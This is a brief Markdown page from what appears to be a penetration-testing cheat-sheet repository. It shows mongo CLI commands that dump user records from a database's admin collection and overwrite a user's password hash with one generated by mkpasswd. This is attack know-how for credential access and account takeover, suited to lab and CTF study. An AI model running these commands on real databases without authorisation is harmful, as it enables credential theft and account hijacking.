killchain-compendium/Exploits/Databases/MongoDB.md

22 lines
534 B
Markdown

# MongoDB
* The cli tool is `mongo`
* [List Databases of the DBMS](https://www.mongodb.com/docs/manual/reference/command/listDatabases/)
## List users
```sh
mongo --port <port> <database_name> --eval "db.admin.find().forEach(printjson);"
```
## Update User Password
* Generate new password via
```sh
mkpasswd -m <hash_algo> SecretPassword123
```
* Use the generated password to update a user
```sh
mongo --port <port> <database_name> --eval 'db.admin.update({"_id": ObjectID("4711")},{$set:{"x_shadow":"<generated_hash>"}})'
```